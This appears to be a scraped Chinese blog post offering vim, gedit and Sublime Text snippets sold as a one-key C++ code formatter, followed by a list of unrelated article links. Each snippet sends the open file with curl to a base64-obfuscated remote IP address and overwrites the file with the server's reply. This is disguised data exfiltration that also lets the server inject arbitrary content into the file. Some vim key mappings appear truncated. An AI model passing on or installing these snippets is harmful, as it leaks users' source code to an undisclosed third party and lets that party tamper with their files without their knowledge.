vim 版本

在.vimrc中加入以下代码

func F()

exec "w"

exec "r !curl -sF 'file=@%' `echo 'aHR0cDovLzEyMy41Ni41Mi44Mzo3Nzc3Cg==' | base64 -d` > /tmp/% && mv /tmp/% ."

exec "e"

endfunc

map :call F()

map! :call F()

按F7即可格式化

gedit 版本

打开外部工具插件, 在 工具 -> Manage External Tools... 中新建, 粘贴以下代码

#!/bin/sh

cat > /tmp/code

curl -sF 'file=@/tmp/code' `echo 'aHR0cDovLzEyMy41Ni41Mi44Mzo3Nzc3Cg==' | base64 -d` > /tmp/code2

cat /tmp/code2

配置为

快捷键: Shift+Alt+F

保存: 当前文档

输入: 当前文档

输出: 替换当前文档

适用范围: 所有文档 C++

按 Shift+Alt+F 即可格式化

Sublime 版本

工具 -> 插件开发 -> 新建插件

Tools -> Developer -> NewPlugin...

粘贴以下代码

import sublime, sublime_plugin, os

class FormatCommand(sublime_plugin.TextCommand):

def run(self, edit):

# print(self.view.substr(sublime.Region(0, self.view.size()))

with open("/tmp/code", "w") as f:

f.write(self.view.substr(sublime.Region(0, self.view.size())))

os.system('curl -sF "file=@/tmp/code" `echo \'aHR0cDovLzEyMy41Ni41Mi44Mzo3Nzc3Cg==\' | base64 -d` > /tmp/code2')

self.view.erase(edit, sublime.Region(0, self.view.size()))

with open("/tmp/code2", "r") as f:

self.view.insert(edit, 0, f.read())

保存为 /home/hzoi/.config/sublime-text-3/Packages/User/format.py

首选项 -> 快捷键设置

Preferences -> Key Bindings

若右侧不为空, 在右侧新增一项

{ "keys": ["shift+alt+f"], "command": "format" }

如果右侧为空, 则改成

[

{ "keys": ["shift+alt+f"], "command": "format" }

]

保存即可

按 Shift+Alt+F 即可格式化

标签:tmp,插件,code,格式化,代码,self,sublime,view

来源: https://www.cnblogs.com/youxam/p/format.html

html 格式化 vim,代码格式化插件相关推荐

  1. vim代码格式化插件clang-format

    title: vim代码格式化插件clang-format date: 2017-12-12 20:28:26 tags: vim categories: 开发工具 安装vim-clang-forma ...

  2. vim autoformat php,Linux Vim代码格式化/美化插件vim-autoformat安装

    vim-autoformat是Vim的一款代码自动化格式插件,vim-autoformat会根据文件的后缀,自动调用相应的相应命令进行代码格式化.所以,安装vim-autoformat的同时,还需要安 ...

  3. Notepad++中格式化html代码的插件tidy2的下载与安装

    在使用Notepad++编辑html文件时,经常会遇到代码格式化的问题,这时使用tidy2插件处理是很好的选择.然而,通过软件自带的插件管理菜单安装此插件时,有时会出现安装失败的情况.此时不得不选择从 ...

  4. php文件代码格式化,PHP代码格式化(EditPlus+PHPCB) 支持批量格式化

    DW_CS4居然只会格式化HTML和CSS代码,G来G去也只有PHPCB这一个N久没更新过的经典PHP代码格式工具了,命令行的,用法"phpcb file.php > newfile. ...

  5. vim 代码注释插件

    参考: 1.http://www.vim.org/scripts/script.php?script_id=1218 2.http://www.dutor.net/index.php/2010/05/ ...

  6. vim代码格式化自动加空格_vim格式化代码实际上就是 缩进代码, 命令是等号=

    vim格式化代码实际上就是 "缩进代码", 命令是等号= 格式化就是 vim 根据 文件的类型, 自动的对代码进行 缩进 缩进的类型有多种, 都是用等号命令: = 全部格式化 : ...

  7. vscode中怎样格式化js代码_VSCode插件JS-CSS-HTML Formatter自动格式化代码

    VSCode插件JS-CSS-HTML Formatter自动格式化代码 当你Ctrl+S保存代码时,自动格式化代码.本来很好用,但是修改thinkphp模板文件时,就有问题了.因为js代码里面,调用 ...

  8. js代码格式化(js代码格式化html标签)

    可以分级的表格如何隐藏JS代码? [实例描述]分级的表格隐藏是指当用户单击第一行时,第一行后面的行都会隐藏:单击第二行时,则第二行下面的所有行会隐藏,依次类推. 实用计算器JS代码怎么写呢? srcE ...

  9. Apache ShardingSphere 代码格式化实战 —— Spotless

    龙台,Apache ShardingSphere Contributor,GitHub 2.2K star hippo4j 作者,Github ID:longtai-cn. 为什么要代码格式化?代码格 ...

最新文章

  1. Cocos2d-x win7 + vs2010 配置图文详解(亲测)
  2. kali linux 渗透测试 01 kali介绍
  3. 关于4.8节第一个例子
  4. 【数据结构与算法】之深入解析“字符串转换整数 (atoi)”的求解思路和算法示例
  5. Java设计模式之七大结构型模式
  6. Python中的解决中文字符编码的问题
  7. ABAP基础篇-语法-数据类型
  8. Python基础教程:Day14b-网络应用开发
  9. a.out的构成及运行时在内存区域的分配
  10. 当动态T-SQL语句遇到除零的问题
  11. [WebApi] 捣鼓一个资源管理器--服务器端分割压缩图片
  12. C语言最新学习路线(从入门到实战)
  13. windows开机启动项(​仅限Win10,Win7)​
  14. 云计算数据中心架构简图
  15. Unity小地图的放大缩小
  16. 安卓实现笔记本app
  17. 欧姆定理验证,电阻的电压/电流/功率,电阻串联,电阻并联,电阻分压
  18. 如何将mongo查询结果导出到文件中以及导入到另一个Mongo库中
  19. 承接WEB应用开发、软件开发、网站开发
  20. 关于天魔传说试玩感受

热门文章

  1. 炒菜机器人放食材的顺序_2年要开1000家 碧桂园旗下千玺机器人餐厅开业
  2. 循环结构c语言乘电梯,C语言循环结构练习题.doc
  3. mysql+磁盘i+o+优化_浅析MySQL数据库磁盘I/O调整优化
  4. JAVA基础系列:内部类获取外部类的成员变量
  5. JAVA基础整理-6.Java数据类型
  6. 出版物排版软件——对XML数据进行排版、浏览、转换、打印
  7. Python一题多解:水仙花数
  8. Python+selenium+PhantomJS获取百度搜索结果真实链接地址
  9. 详解Python序列解包(4)
  10. Python+pandas读取Excel文件并统计演员参演电影数量